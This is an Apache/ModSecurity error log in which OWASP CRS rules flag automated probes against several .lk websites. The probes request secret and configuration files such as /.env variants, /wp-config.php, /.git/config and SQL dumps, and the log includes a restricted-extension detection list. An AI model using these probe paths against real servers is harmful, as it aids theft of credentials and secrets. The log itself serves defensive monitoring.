[Fri Jul 17 08:29:33.333167 2026] [security2:error] [pid 2014279:tid 2014279] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.web.venee.lk"] [uri "/.git/config"] [unique_id "almalUz_ZDvgWqiMlMbLkgAAAB0"]
[Fri Jul 17 08:29:33.333482 2026] [security2:error] [pid 2014279:tid 2014279] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.web.venee.lk"] [uri "/.git/config"] [unique_id "almalUz_ZDvgWqiMlMbLkgAAAB0"]
[Fri Jul 17 08:29:33.352745 2026] [security2:error] [pid 1993668:tid 1993668] [client 100.58.185.114:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.web.venee.lk"] [uri "/wp-config.php"] [unique_id "almalRAi3pC6yjXGNq19dAAAAAU"]
[Fri Jul 17 08:29:33.353008 2026] [security2:error] [pid 1993668:tid 1993668] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.web.venee.lk"] [uri "/wp-config.php"] [unique_id "almalRAi3pC6yjXGNq19dAAAAAU"]
[Fri Jul 17 08:29:33.353319 2026] [security2:error] [pid 1993668:tid 1993668] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.web.venee.lk"] [uri "/wp-config.php"] [unique_id "almalRAi3pC6yjXGNq19dAAAAAU"]
[Fri Jul 17 08:29:33.469457 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.224.18.120:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almalQ5GPQ6hs4VrfMo-CAAAAAY"]
[Fri Jul 17 08:29:33.469717 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.224.18.120:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almalQ5GPQ6hs4VrfMo-CAAAAAY"]
[Fri Jul 17 08:29:33.470093 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almalQ5GPQ6hs4VrfMo-CAAAAAY"]
[Fri Jul 17 08:29:33.470496 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almalQ5GPQ6hs4VrfMo-CAAAAAY"]
[Fri Jul 17 08:29:33.634382 2026] [security2:error] [pid 1994956:tid 1994956] [client 100.58.185.114:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.web.venee.lk"] [uri "/.env.local"] [unique_id "almalQG5-NXx3Mem1QgONwAAAA8"]
[Fri Jul 17 08:29:33.634664 2026] [security2:error] [pid 1994956:tid 1994956] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.web.venee.lk"] [uri "/.env.local"] [unique_id "almalQG5-NXx3Mem1QgONwAAAA8"]
[Fri Jul 17 08:29:33.634769 2026] [security2:error] [pid 2014256:tid 2014256] [client 100.58.185.114:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.web.venee.lk"] [uri "/.env.dev"] [unique_id "almalYZvbo7N5o5zeYC7KwAAABw"]
[Fri Jul 17 08:29:33.634958 2026] [security2:error] [pid 1994956:tid 1994956] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.web.venee.lk"] [uri "/.env.local"] [unique_id "almalQG5-NXx3Mem1QgONwAAAA8"]
[Fri Jul 17 08:29:33.634969 2026] [security2:error] [pid 2014256:tid 2014256] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.web.venee.lk"] [uri "/.env.dev"] [unique_id "almalYZvbo7N5o5zeYC7KwAAABw"]
[Fri Jul 17 08:29:33.635252 2026] [security2:error] [pid 2014256:tid 2014256] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.web.venee.lk"] [uri "/.env.dev"] [unique_id "almalYZvbo7N5o5zeYC7KwAAABw"]
[Fri Jul 17 08:29:33.852121 2026] [security2:error] [pid 2015125:tid 2015125] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "asrgroup.lk"] [uri "/index.php"] [unique_id "almakBJ0z2bEtnOrIXU9NwAAAAk"]
[Fri Jul 17 08:29:34.013020 2026] [security2:error] [pid 2014279:tid 2014279] [client 100.58.185.114:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.web.venee.lk"] [uri "/.env.staging"] [unique_id "almalkz_ZDvgWqiMlMbLkwAAAB0"]
[Fri Jul 17 08:29:34.028270 2026] [security2:error] [pid 2014279:tid 2014279] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.web.venee.lk"] [uri "/.env.staging"] [unique_id "almalkz_ZDvgWqiMlMbLkwAAAB0"]
[Fri Jul 17 08:29:34.028701 2026] [security2:error] [pid 2014279:tid 2014279] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.web.venee.lk"] [uri "/.env.staging"] [unique_id "almalkz_ZDvgWqiMlMbLkwAAAB0"]
[Fri Jul 17 08:29:34.150794 2026] [security2:error] [pid 2014286:tid 2014286] [client 100.58.185.114:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.web.venee.lk"] [uri "/db.sql"] [unique_id "almalh15lhZh2QtC5qEWUwAAAB8"]
[Fri Jul 17 08:29:34.151162 2026] [security2:error] [pid 2014286:tid 2014286] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.web.venee.lk"] [uri "/db.sql"] [unique_id "almalh15lhZh2QtC5qEWUwAAAB8"]
[Fri Jul 17 08:29:34.151459 2026] [security2:error] [pid 2014286:tid 2014286] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.web.venee.lk"] [uri "/db.sql"] [unique_id "almalh15lhZh2QtC5qEWUwAAAB8"]
[Fri Jul 17 08:29:34.380840 2026] [security2:error] [pid 1994956:tid 1994956] [client 100.58.185.114:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.web.venee.lk"] [uri "/.env.production"] [unique_id "almalgG5-NXx3Mem1QgOOAAAAA8"]
[Fri Jul 17 08:29:34.381091 2026] [security2:error] [pid 1994956:tid 1994956] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.web.venee.lk"] [uri "/.env.production"] [unique_id "almalgG5-NXx3Mem1QgOOAAAAA8"]
[Fri Jul 17 08:29:34.381351 2026] [security2:error] [pid 1994956:tid 1994956] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.web.venee.lk"] [uri "/.env.production"] [unique_id "almalgG5-NXx3Mem1QgOOAAAAA8"]
[Fri Jul 17 08:29:34.812667 2026] [security2:error] [pid 1993584:tid 1993584] [client 100.58.185.114:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.web.venee.lk"] [uri "/.env.backup"] [unique_id "almallxP5-SsqbGuGB2lXwAAAAA"]
[Fri Jul 17 08:29:34.812856 2026] [security2:error] [pid 1993584:tid 1993584] [client 100.58.185.114:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.web.venee.lk"] [uri "/.env.backup"] [unique_id "almallxP5-SsqbGuGB2lXwAAAAA"]
[Fri Jul 17 08:29:34.813066 2026] [security2:error] [pid 1993584:tid 1993584] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.web.venee.lk"] [uri "/.env.backup"] [unique_id "almallxP5-SsqbGuGB2lXwAAAAA"]
[Fri Jul 17 08:29:34.813406 2026] [security2:error] [pid 1993584:tid 1993584] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.web.venee.lk"] [uri "/.env.backup"] [unique_id "almallxP5-SsqbGuGB2lXwAAAAA"]
[Fri Jul 17 08:29:34.960797 2026] [security2:error] [pid 2015187:tid 2015187] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "asrgroup.lk"] [uri "/index.php"] [unique_id "almakJht1IYIWQIv0_OHggAAAAs"]
[Fri Jul 17 08:29:35.292243 2026] [mime:warn] [pid 2014279:tid 2014279] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:35.294628 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:60236] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:29:35.492221 2026] [security2:error] [pid 1994956:tid 1994956] [client 100.58.185.114:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.web.venee.lk"] [uri "/data.sql"] [unique_id "almalwG5-NXx3Mem1QgOOQAAAA8"]
[Fri Jul 17 08:29:35.492583 2026] [security2:error] [pid 1994956:tid 1994956] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.web.venee.lk"] [uri "/data.sql"] [unique_id "almalwG5-NXx3Mem1QgOOQAAAA8"]
[Fri Jul 17 08:29:35.492868 2026] [security2:error] [pid 1994956:tid 1994956] [client 100.58.185.114:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.web.venee.lk"] [uri "/data.sql"] [unique_id "almalwG5-NXx3Mem1QgOOQAAAA8"]
[Fri Jul 17 08:29:35.504349 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.224.18.120:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env"] [unique_id "almalwPhWp7RzB65h36fGwAAAA0"]
[Fri Jul 17 08:29:35.504608 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env"] [unique_id "almalwPhWp7RzB65h36fGwAAAA0"]
[Fri Jul 17 08:29:35.504874 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.224.18.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almalwPhWp7RzB65h36fGwAAAA0"]
[Fri Jul 17 08:29:36.152962 2026] [security2:error] [pid 2014308:tid 2014308] [client 100.53.220.22:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "asrgroup.lk"] [uri "/index.php"] [unique_id "almakAdFk8dCrY-oJNkdSAAAACA"]
